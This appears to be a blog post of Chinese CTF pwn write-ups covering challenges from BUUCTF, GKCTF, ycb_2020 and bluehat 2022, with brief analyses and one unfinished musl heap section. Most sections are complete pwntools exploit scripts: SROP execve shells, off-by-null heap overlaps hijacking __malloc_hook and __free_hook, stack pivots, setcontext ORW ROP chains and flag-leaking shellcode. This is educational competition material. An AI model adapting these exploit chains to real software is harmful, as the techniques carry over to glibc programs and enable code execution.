BUUCTF-pwn(18)
360chunqiu2017_smallest
整体较为简单;
先放个exo;较为简单;
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
binary = './smallest'
#r = remote('node4.buuoj.cn',26277)
r = process(binary)
elf = ELF(binary)
main_addr = 0x4000B0
mov_edx_400 = 0x4000B0
syscall_addr = 0x4000BE
#gdb.attach(r)
pause()
r.send(p64(main_addr) * 3)
pause()
r.send(b'\xb3')
stack_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))+6-0x400
success(hex(stack_addr))
sf = SigreturnFrame()
sf.rip = syscall_addr
sf.rdi = stack_addr+0x400
sf.rsp = stack_addr
sf.rax = 59
payload = p64(main_addr)+b'a'*8+bytes(sf)
sleep(0.5)
r.send(payload)
payload2 = p64(syscall_addr)+b'\x00'*7
sleep(0.5)
r.send(payload2)
r.interactive()
整体较为简单;首先输入:三个入口地址,此时再输入一字节,便可以进入sys_write,进而泄露出栈地址;可以发现存在’/bin/bash’;可以直接利用;
整体流程,首先输入:三个入口首地址;
再次执行sys_read函数,输入一字节,进而改变了rax返回值为1,故执行sys_write函数,进而可以泄露出栈地址;
此时我们经过布局,执行sys_sigreturn函数,将sys_execve的参数布置好,即可获取权限;当然,经过测试,发现远程无法通过,这是因为其没有本地的’/bin/bash’字符;故同时需要布置’/bin/sh\x00’字符进而获取权限;
故我们再次经过执行一次sys_sigreturn函数,此时我们将输入’/bin/bash’字符,同时将参数设置完整即可;
远程exp:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
binary = './smallest'
r = remote('node4.buuoj.cn',26277)
#r = process(binary)
elf = ELF(binary)
main_addr = 0x4000B0
mov_edx_400 = 0x4000B0
syscall_addr = 0x4000BE
#gdb.attach(r)
sleep(0.1)
r.send(p64(main_addr) * 3)
sleep(0.1)
r.send(b'\xb3')
stack_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))+6-0x400
success(hex(stack_addr))
sf = SigreturnFrame()
sf.rip = main_addr
sf.rsp = stack_addr
payload = p64(main_addr)+b'a'*8+bytes(sf)
sleep(0.1)
r.send(payload)
payload2 = p64(syscall_addr)+b'\x00'*7
sleep(0.1)
r.send(payload2)
sf.rax = 59
sf.rdi = stack_addr+0x108
sf.rip = syscall_addr
payload3 = p64(main_addr)+b'b'*8+bytes(sf)+b'/bin/sh\x00'*2
sleep(0.1)
r.send(payload3)
sleep(0.1)
r.send(p64(syscall_addr)+b'\x00'*7)
r.interactive()
BabyNote(*CTF2022(未完待续!
首先修复switch表;
分析伪代码;
程序流程较为简单,关键点位于采用了musl库;而非我们所常见的libc库;musl库是一个专门为嵌入式系统开发的轻量级 libc 库,以简单、轻量和高效率为特色。有不少 Linux 发行版将其设为默认的 libc 库,用来代替体积臃肿的 glibc ,如Alpine Linux、OpenWrt和 Gentoo 等
位于Linux之中安装musl驱动;此时方可运行附件程序;
sudo apt-get install musl-dev
但是我们需要的是能够调试libc库,此时就需要我们对其进行编译了;
CC="gcc" CXX="g++" CFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error -fno-stack-protector" CXXFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error -fno-stack-protector" ./configure --prefix=/home/pwn/question/install/ --disable-werror
make
make install
此时我们便可以使用patchelf来替换libc即可;
/lib/x86_64-linux-gnu/libc.so
首先需要替换如上路径的libc.so,如不替换则可能导致ldd命令无法使用;
pwn@pwn-virtual-machine:~/question$ ldd babynote
linux-vdso.so.1 (0x00007ffe5b38a000)
/home/pwn/question/install/lib/libc.so (0x00007fc5df177000)
首先下载好musl_1.2.2-1_amd64.deb
、musl-dbgsym_1.2.2-1_amd64.ddeb
pwn@pwn-virtual-machine:~/question/install$ sudo dpkg -i musl_1.2.2-1_amd64.deb
pwn@pwn-virtual-machine:~/question/install$ sudo dpkg -i musl-dbgsym_1.2.2-1_amd64.ddeb
gef➤ dir /home/pwn/question/musl-1.2.2/src/malloc
Source directories searched: /home/pwn/question/musl-1.2.2/src/malloc:$cdir:$cwd
gef➤ dir /home/pwn/question/musl-1.2.2/src/malloc/mallocng
Source directories searched: /home/pwn/question/musl-1.2.2/src/malloc/mallocng:/home/pwn/question/musl-1.2.2/src/malloc:$cdir:$cwd
此时便可以拥有了调试符号;
那么我进入musl中调试调试,看看他的一个结构;
__malloc_context
是musl libc的全局管理结构指针,存放在libc.so的bss段
gef➤ p __malloc_context
$1 = {
secret = 0x63ccfb285cf52f10,
init_done = 0x1,
mmap_counter = 0x0,
free_meta_head = 0x0,
avail_meta = 0x55d40ab7c2c0,
avail_meta_count = 0x54,
avail_meta_area_count = 0x0,
meta_alloc_shift = 0x0,
meta_area_head = 0x55d40ab7c000,
meta_area_tail = 0x55d40ab7c000,
avail_meta_areas = 0x55d40ab7d000 <error: Cannot access memory at address 0x55d40ab7d000>,
active = {0x0, 0x55d40ab7c298, 0x55d40ab7c270, 0x55d40ab7c0e0, 0x0, 0x0, 0x0, 0x55d40ab7c0b8, 0x0, 0x0, 0x0, 0x55d40ab7c090, 0x0, 0x0, 0x0, 0x55d40ab7c1f8, 0x0, 0x0, 0x0, 0x55d40ab7c040, 0x0, 0x0, 0x0, 0x55d40ab7c018, 0x0 <repeats 24 times>},
usage_by_class = {0x0, 0xf, 0xa, 0x0 <repeats 45 times>},
unmap_seq = '\000' <repeats 31 times>,
bounces = '\000' <repeats 31 times>,
seq = 0x0,
brk = 0x55d40ab7d000
}
gef➤ p *(struct meta*)0x55d40ab7c298
$2 = {
prev = 0x55d40ab7c298,
next = 0x55d40ab7c298,
mem = 0x7fdb8f907c50,
avail_mask = 0x7ff0,
freed_mask = 0x0,
last_idx = 0xe,
freeable = 0x1,
sizeclass = 0x1,
maplen = 0x0
}
prev和next都指向本身,表示只有一个meta页,meta页由一个双向链表进行维护;
0x7fdb8f907c50是user data域;
avail_mask = 0x7ff0 = 0b111111111110000表示第0、1、2、3个chunk不可用(已经被使用);
freed_mask = 0x0表示没有chunk被释放;
last_idx = 0xe表示最后一个chunk的下标是0xe;
sizeclass = 0x1表示由0x1这个group进行管理;
如下图为__malloc_context
管理结构:
未完待续!!!
参考链接:
musl libc浅析
musl libc探究
musl
musl题目初探
大师傅的wp
[GKCTF 2021]EsapeSH
分析函数:(可以发现是一个模拟终端设备的一个程序;
漏洞点:
函数ReadLine之中,该函数功能为将输入的命令按空格分割,每个字串将储存到堆之中,而采用了strcpy进行拷贝,进而导致逻辑漏洞的出现,即可以造成off by null漏洞;
故我们对上述漏洞进行分析利用
但是我们利用pwndbg进行调试的时候可能会遇到最大递归深度错误
此时我们使用gef插件来代替pwndbg插件即可绕过该错误;(gef查看heap没有pwndbg方便一些
泄露地址所需注意事项如下图:(按图布局进行分配chunk;
泄露地址这儿块比较精妙,泄露地址之后必须保持堆风水不变或者没有太大的破坏,能够为接下来对__malloc_hook
该地址写入内容;
攻击成功,如图:
exp如下:
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
binary = './EscapeSH'
r = remote('node4.buuoj.cn',25516)
#r = process(binary)
elf = ELF(binary)
#libc = elf.libc
libc = ELF('./libc.so.6')
def cmd(*args):
payload = b''
for buf in args:
payload += buf
payload += b' '
r.sendline(payload)
cmd(b'a'*0x90,b'b'*0x60,b'c'*0xf0,b'd'*0x10)
for i in range(7):
cmd(b'a'*(0x68-i))#prev_size
cmd(b'a'*0x60+b'\x10\x01')
cmd(b'a'*0xf0)#Unlink
cmd(b'a'*(0x100-1),b'b'*0x30,b'c'*0x30,b'd'*0x30,b'e'*0x30)
cmd(b'a'*0x9f)
for i in range(7):
cmd(b'q'*(0x9f-i))
cmd(b"echo", b"a"*(0x5f),b"b"*(0x8f))#leak
malloc_hook = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-88-0x10
cmd(b"a"*0xa7)
cmd(b"a"*0xa6)#将fd指针的高位置零
cmd(b'a'*0xa0+p64(malloc_hook-0x23)[:-2])
for i in range(7):
cmd(b'q'*(0x9f-i))#布局重叠块
success(hex(malloc_hook))
#gdb.attach(r)
cmd(b'monitor',b"a"*0x60,b"b"*0x13+b"monitora"+b"c"*0x45)
r.interactive()
[GKCTF 2021]demo_catRoom
发现存在三个附件,通过搜索libc文件之中的GLIBC
发现为2.27版本的GLibc;故分别分析client、server端的代码查看不同之处:(同时可以学习一下Linux之间的通信,和模拟远程登录聊天室的情况(类似ssh)
首先我们查看客户端;该主要功能是连接服务器,将每个用户的登录注销以及用户之间的交流进行通信(其中延时1s,不太理解为啥要延时,可能为了方便做题?)
register注册功能(client客户端
login登录功能(client客户端
broadcast聊天室功能(client客户端
thread线程(client客户端
此时我们查看Server服务器端的主体功能,实现同样没有太高的难度;
thread线程功能(Server服务端,可以较为清晰的查看到该实现是为了处理客户端对应的功能,以及返回数据;
InitUser函数(Server服务端,用于注册前的初始化;漏洞点可以发现chunk为申请的0x48大小,而接受数据为0x68大小,故存在溢出的情况;
register注册功能(Server服务端
login函数(Server服务端
broadcast聊天室功能(Server服务端
最后,泄露flag位置位于此处:
以上我们将大致的了解了客户端以及服务端的差异之处,及其流程;
攻击如下及分析过程:
此时便可以开启环境进行模拟攻击了:(首先我们获取一下IP地址
pwn@pwn-virtual-machine:~/question$ ping node4.buuoj.cn -p 26561
PATTERN: 0x265601
PING node4.buuoj.cn (117.21.200.166) 56(84) bytes of data.
^C
— node4.buuoj.cn ping 统计 —
已发送 10 个包, 已接收 0 个包, 100% 包丢失, 耗时 9203 毫秒
然后我们ssh -p25583 ctf@node4.buuoj.cn
进行连接输入密码123456启动Server服务器;
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
binary = './client'
#r = process([binary,'127.0.0.1','9999'])
r = process([binary,'117.21.200.166','26561'])
elf = ELF(binary)
def register(name,passwd='123456'):
r.sendlineafter("0 exit \n",'1')
r.sendlineafter("input your name\n",name)
r.sendlineafter("input your passwd\n",passwd)
def login(name,passwd='123456'):
r.sendlineafter("0 exit \n",'2')
r.sendlineafter("input your name\n",name)
r.sendlineafter("input your passwd\n",passwd)
def remove(name,passwd='123456'):
r.sendlineafter("0 exit \n",'4')
r.sendlineafter("input your remove name\n",name)
r.sendlineafter("input your passwd\n",passwd)
register('user0')
register('user1')
remove('user0')
register('user0',b'a'*0x30+b'admin')
login('admin')
r.interactive()
[GKCTF 2021]checkin
主体逻辑较为简单,采用针对栈溢出的溢出8字节,来利用栈迁移至bss_name上进行攻击;
但是我们想要利用栈迁移,则必须通过判断,admin可以利用’\x00’截断特性来绕过;而check检测密码函数:
在此我们将可以使用栈迁移,同时我们采用的是main函数之中的.text:00000000004018B5 call _puts
来泄露地址,泄露地址之后将再次进入Login函数,此时便可以再次使用栈迁移;不过需要注意的是,此时我们第二次输入,将会覆盖第一次所出入的内容,因为此时经过泄露地址这一步之后,此时栈将位于bss上,故泄露之后的第二次输入将存在着覆盖操作,这里需要格外注意;
如下,为exp,并攻击成功;
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
binary = './login'
#r = process(binary)
r = remote('node4.buuoj.cn',25731)
elf = ELF(binary)
#libc = elf.libc
libc = ELF('./libc.so.6')
real_puts_addr = libc.symbols['puts']
puts_addr = 0x04018B5
puts_got = elf.got['puts']
pop_rdi_ret = 0x00401ab3
name_addr = 0x0602400
cmd = lambda str : r.sendafter(">",str)
one = [0x45226,0x4527a,0xf03a4,0xf1247]
cmd(b'admin\x00\x00\x00'+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_addr))
cmd(b'admin\x00\x00\x00'+b'a'*0x18+p64(name_addr))
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-real_puts_addr
cmd(b'admin\x00\x00\x00')
#gdb.attach(r)
cmd(b'admin\x00\x00\x00'*3+p64(libc_base+one[1])+p64(name_addr))
success(hex(libc_base))
#gdb.attach(r)
r.interactive()
ycb_2020_easy_heap
首先修复switch表,然后分析函数流程,如下:(较为简单;
而位于Edit编辑函数之中,存在明显的off by null漏洞;
并且其存在沙盒保护,且保护全开;并且libc为2.30版本;
并且位于libc2.30之中,Unlink由宏定义变为了静态函数:
/* Take a chunk off a bin list. */
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))//判断后一块chunk的前一块是否为自身
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;//前一个结点
mchunkptr bk = p->bk;//后一个结点
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))//判断结点是否完整
malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;//删除结点
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");//判断largebin的前后结点
if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}
还有向前合并与向后合并同样也有所更改:
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
/* consolidate forward */
if (!nextinuse) {
unlink_chunk (av, nextchunk);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);
此时我们就不能随随便便的利用堆块合并来造成堆块重叠了;
调试过程中的一些:
此时Free掉0x559726c8dff0(深蓝)地址的堆块,将会合并到上方位置,直接变成了一个0x201大小的unsortedbin;这里需要注意的是,因为版本为libc2.30,所以需要先将0x100的tcachebins填充满,此时才能合并堆块;
沙盒保护setcontext的一些利用姿势;此时我们就可以控制寄存器啦;从而构造好ROP链子,orw获取flag;
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
binary = './ycb_2020_easy_heap'
r = process(binary)
elf = ELF(binary)
libc = elf.libc
def Allocate(size=0x18):
r.sendlineafter("Choice:",'1')
r.sendlineafter("Size: ",str(size))
def Edit(idx,payload=b'/bin/sh\x00'):
r.sendlineafter("Choice:",'2')
r.sendlineafter("Index: ",str(idx))
r.sendlineafter("Content: \n",payload)
def Free(idx):
r.sendlineafter("Choice:",'3')
r.sendlineafter("Index: ",str(idx))
def Show(idx):
r.sendlineafter("Choice:",'4')
r.sendlineafter("Index: ",str(idx))
Allocate(0x418)#0
Allocate(0x18) #1
Allocate(0x18) #2
for i in range(0xb):
Allocate(0xf8)#3-13
Free(0)
Allocate(0x418)#0
Show(0)
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96-0x10-libc.symbols['__malloc_hook']
Free(1)
Free(2)
Allocate(0x18)#1
Allocate(0x18)#2
Show(1)
r.recvuntil("Content: ")
heap_addr = u64(r.recv(6).ljust(8,b'\x00'))-0x6c0
for i in range(7):
Free(3+i)#3-9
target = heap_addr+0xef0
Edit(11,p64(target+0x8)+p64(target+0x10)+p64(target)+b'a'*0xd8+p64(0x100))
Free(12)#Unlink 堆块合并重叠
for i in range(10):
Allocate(0xf8)#3-9、12、14、15 11与12重叠啦
Free(10)
Free(12)#可以利用11修改fd指针
Edit(11,p64(libc_base+libc.symbols['__free_hook']))
Allocate(0xf8)#10
Allocate(0xf8)#12 -> __free_hook
Free(13)
Free(10)
Edit(11,p64(libc_base+libc.symbols['__free_hook']+0xf8))#进行拼凑payload
Allocate(0xf8)#10
Allocate(0xf8)#13 -> __free_hook+0xf8
######构造payload
pop_rdi_ret = 0x0000000000023b72 + libc_base
pop_rsi_ret = 0x000000000002604f + libc_base
pop_rdx_r12_ret = 0x0000000000119241 + libc_base
fake_frame_addr = libc.symbols['__free_hook'] + 0x10 + libc_base
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = fake_frame_addr + 0xF8
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi_ret + 1 # : ret
rop_data = [
libc.symbols['open'] + libc_base,
pop_rdx_r12_ret,
0x100, # pop rdx
0, # pop r12
pop_rdi_ret, # ret
3, # pop rdi
pop_rsi_ret, # ret
fake_frame_addr + 0x200, # pop rsi 储存flag位置
libc.symbols['read'] + libc_base,# ret
pop_rdi_ret, # ret
fake_frame_addr + 0x200, # pop rdi 储存flag位置
libc.symbols['puts'] + libc_base# ret
]
gadget = libc_base +0x00000000001518b0# : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
frame_data = bytes(frame).ljust(0xf8,b'\x00')
payload = p64(gadget)+p64(fake_frame_addr)+frame_data[:0x20]+p64(libc_base+libc.symbols['setcontext']+61)+frame_data[0x28:]+b"flag\x00\x00\x00\x00"+p64(0)+flat(rop_data)
Edit(13, payload[0xf8:])
Edit(12, payload[:0xf8])
######
success(hex(heap_addr))
success(hex(libc_base))
#gdb.attach(r,'b free')
Free(12)
r.interactive()
这里本地因为没有libc2.30,所以用到是libc2.31版本,本地通过;远程的话需要修改为libc2.30的数值,进而获取flag
ycb_2020_repwn
函数主体流程:(存在UAF漏洞,并且存在沙盒保护,同时存在Re逆向的加解密;
相当于在libc2.23之上的大杂烩;(难度不大,但是流程比较长,毕竟啥都有;
利用UAF在libc2.23上的fastbin的double free来造成有限制的任意地址写,往栈上返回地址写入ROP链(canary虽然开启,但是该题目中大部分函数并没有canary);利用orw回显flag;
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
binary = './ycb_2020_repwn'
#r = process(binary)
r = remote('node4.buuoj.cn',29377)
elf = ELF(binary)
#libc = elf.libc
libc = ELF('./libc-2.23.so')
def Allocate(size,payload=b'/bin/sh\x00'):
r.sendlineafter("your choice:",'1')
r.sendlineafter("how long?",str(size))
r.send(payload)
def Free(idx):
r.sendlineafter("your choice:",'3')
r.sendlineafter("which one?",str(idx))
def dec(res):
v5 = [51,18,120,36]
v9 = 9
v7 = 0x26a77aaa
while v9 > 0:
v10 = (v7 >> 2) & 3
for i in range(15,-1,-1):
v6 = res[(i-1+16)%16]
res[i] -= (((v6 >> 7) ^ 8 * res[(i + 1)%16]) + ((res[(i + 1)%16] >> 2) ^ 32 * v6) - 33) ^ ((res[(i + 1)%16] ^ v7 ^ 0x57)+ (v6 ^ v5[v10 ^ i & 3])+ 63)
res[i] &= 0xff
v7 -= 0x76129BDA
v7 &= 0xffffffff
v9 -= 1
r.sendlineafter("your choice:",'2')#leak
r.sendline()
rev = r.recv(0x10)
res = []
print(rev[0])
for i in range(len(rev)):
res.append(rev[i])
dec(res)
addr = ''
for i in range(len(rev)):
addr += chr(res[i])
libc_base = u64(addr[:8].ljust(8,'\x00'))-0x5F1A88
stack_addr = u64(addr[8:].ljust(8,'\x00'))
Allocate(0x68)#0
Allocate(0x68)#1
Allocate(0x68)#2
Free(0)
Free(1)
Free(0)#double free
Allocate(0x68,p64(stack_addr-0xf3))
pop_rdi_ret = 0x0000000000021102 + libc_base
pop_rsi_ret = 0x00000000000202e8 + libc_base
pop_rdx_ret = 0x0000000000001b92 + libc_base
pop_rax_ret = 0x0000000000033544 + libc_base# 0x000000000003a718
pop_rsp_ret = 0x0000000000003838 + libc_base
open_addr = libc.symbols['open'] + libc_base
read_addr = libc.symbols['read'] + libc_base
write_addr = libc.symbols['write'] + libc_base
payload = b'a'*3+p64(pop_rdx_ret)+p64(0x200)+p64(read_addr)+p64(pop_rsp_ret)+p64(stack_addr)
payload += flat([pop_rdi_ret,0,pop_rsi_ret,stack_addr,pop_rsp_ret,stack_addr-0xe0])
Allocate(0x68)#3
Allocate(0x68)#4
success("libc_base -> "+hex(libc_base))
success("stack_addr -> "+hex(stack_addr))
#gdb.attach(r)
Allocate(0x68,payload)#5
payload2 = flat([pop_rdi_ret,stack_addr+0xa8,pop_rsi_ret,4,pop_rdx_ret,4,open_addr])
payload2 += flat([pop_rdi_ret,3,pop_rsi_ret,stack_addr+0xb0,pop_rdx_ret,0x50,read_addr])
payload2 += flat([pop_rdi_ret,1,pop_rsi_ret,stack_addr+0xb0,pop_rdx_ret,0x50,write_addr])
payload2 = payload2.ljust(0xa0,b'b')+b'./flag\x00\x00\x00\x00'
sleep(0.2)
r.sendline(payload2)
r.interactive()
Bank(2022bluehat)
主体流程:(关键函数Transfer
Transfer函数如下所示:(可以明显看到,漏洞较多,但是限制同样多
Transfer函数之中的leak函数
这里我们再来联合看下Transfer函数之中的Realloc函数Free函数:(这里的free函数实际上是释放掉任何地址上的堆块;而Realloc函数之中隐含着潜在的free函数;并且Free函数与Realloc函数之间公用ptr变量。
此时可以发现任意地址些writeAddr函数之中,存在着exit函数;表示在退出之前仅有一次任意地址写漏洞;
故我们需要利用好这个任意地址写漏洞,写入exit函数之中所必要的一些函数指针,修改其为gadget即可;
如下为exit函数的具体实现,我们可以看到存在着循环将IO之类的内容free释放掉;其中存在着三个关键call,指向着_dl_fini函数,其中涉及到了_rtld_global
结构体,存在着两个可修改为gadget的函数指针:(_dl_rtld_lock_recursive与_dl_rtld_unlock_recursive)
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
#endif
if (run_dtors)
__call_tls_dtors ();
/* We do it this way to handle recursive calls to exit () made by
the functions registered with `atexit' and `on_exit'. We call
everyone on the list and use the status value in the last
exit (). */
while (true)
{
struct exit_function_list *cur;
__libc_lock_lock (__exit_funcs_lock);
restart:
cur = *listp;
if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
__libc_lock_unlock (__exit_funcs_lock);
break;
}
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (onfct);
#endif
onfct (status, f->func.on.arg);
break;
case ef_at:
atfct = f->func.at;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (atfct);
#endif
atfct ();
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (cxafct);
#endif
cxafct (f->func.cxa.arg, status);
break;
}
/* Re-lock again before looking at global state. */
__libc_lock_lock (__exit_funcs_lock);
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
__libc_lock_unlock (__exit_funcs_lock);
}
if (run_list_atexit)
RUN_HOOK (__libc_atexit, ());
_exit (status);
}
exp如下:
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
binary = './Bank'
r = process(binary)
elf = ELF(binary)
libc = elf.libc
def Login():
r.sendlineafter("Click: ","Login")
r.sendlineafter("Card Numbers: ",'0123456789')
r.sendlineafter("Password: ",'123456')
def Transfer(cmd,money,addr='',data=b'/bin/sh\x00',size=0x18):
r.sendlineafter("Click: ","Transfer")
r.sendlineafter("who? ",str(cmd))
r.sendlineafter("How much? ",str(money))
if cmd == "admin":# leak
r.recvuntil("I think ")
bss_flag_addr = r.recvuntil(" is useful.")
return bss_flag_addr[:-11]
elif cmd == "hacker":# Free
r.sendlineafter("hacker: Great!\n",str(addr))
elif cmd == "guest":# Allocate
r.sendafter("data: ",data)
elif cmd == "ghost":# Realloc
r.sendlineafter("ghost: &^%$#@! :)\n",str(size))
elif cmd == "abyss":# writeAddr
sleep(0.2)
r.send(str(addr))
def Put(money):#取钱
r.sendlineafter("Click: ","Put")
r.sendlineafter("How Much?",str(money))
def Deposit(money):#存钱
r.sendlineafter("Click: ","Deposit")
r.sendlineafter("How Much?",str(money))
Info = lambda : r.sendlineafter("Click: ","Info")
Quit = lambda : r.sendlineafter("Click: ","Quit")
one = [0xe3b2e,0xe3b31,0xe3b34]
Login()
Info()
Put(400)
for i in range(5):
Transfer("ghost",11,size=(0xb0+i*0x10))
Transfer("guest",6,data=b'a'*8+p64(0x21))
Transfer("guest",6,data=b'b'*8+p64(0x21))
Transfer("guest",6,data=b'/bin/sh\x00')
# leak <-- tcachebins[0xd0][0/1]
heap_addr = int(Transfer("admin",33),16)-0x10# heap_addr基地址
Transfer("hacker",0x33,heap_addr+0x390)# tcachebins[0xd0][0/1] - 0x10 UAF
Transfer("guest",6,data=b'h'*0x8+p64(0x441))# unsortedbin[all][0]
Transfer("hacker",0x33,heap_addr+0x3a0)# UAF
libc_base = int(Transfer("admin",33),16)-96-0x10-libc.symbols['__malloc_hook']# leak
Transfer("hacker",0x33,heap_addr+0x2a0)# UAF bss_flag_chunk
Transfer("guest",6,data=p64(libc_base+0x238F68)*2)# p &_rtld_global._dl_rtld_lock_recursive
success("heap_addr -> "+hex(heap_addr))
success("libc_base -> "+hex(libc_base))
#gdb.attach(r)
Transfer("abyss",0,libc_base+one[0])
r.interactive()
escape_shellcode(2022bluehat)
这道题目是写shellcode,程序首先将flag读入到了bss端上(写shellcode应该好写)但是程序却将除寄存器rip之外的所有寄存器清空;这样我们就无法去利用这些寄存器来得到flag的地址;
但是存在着一些特殊的寄存器,比如fs、gs等;我们可以利用这些寄存器来得到栈地址,从而得到code段基地址
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
binary = './escape_shellcode'
#r = process(binary)
r = remote('39.106.154.121', 26325)
elf = ELF(binary)
shellcode1 = '''
mov rsp,fs:[0x300];
pop rdi;
mov r12,rdi;
add rdi,0x2B90;
sub r12,0x91;
jmp r12;
'''
shellcode2 = '''
mov rsp,fs:[0x300];
pop rsi;
mov rdi,1;
mov rdx,0x100;
add rsi,0x2B90;
mov rax,1;
syscall;
'''
shellcode3 = '''
mov rsp,fs:[0x300];
sub rsp,0x68;
pop rdi;
mov r12,rdi;
add rdi,0x2DB7;
add r12,0x196
jmp r12;
'''
#gdb.attach(r)
payload = asm(shellcode3)
r.sendline(payload)
r.interactive()
shellcode1和shellcode2是本地可以通,远程不可通的,而shellcode3是远程可通的;这里还是注意下远程本地的不同(这里可麻烦了,因为不知道远程的一些情况;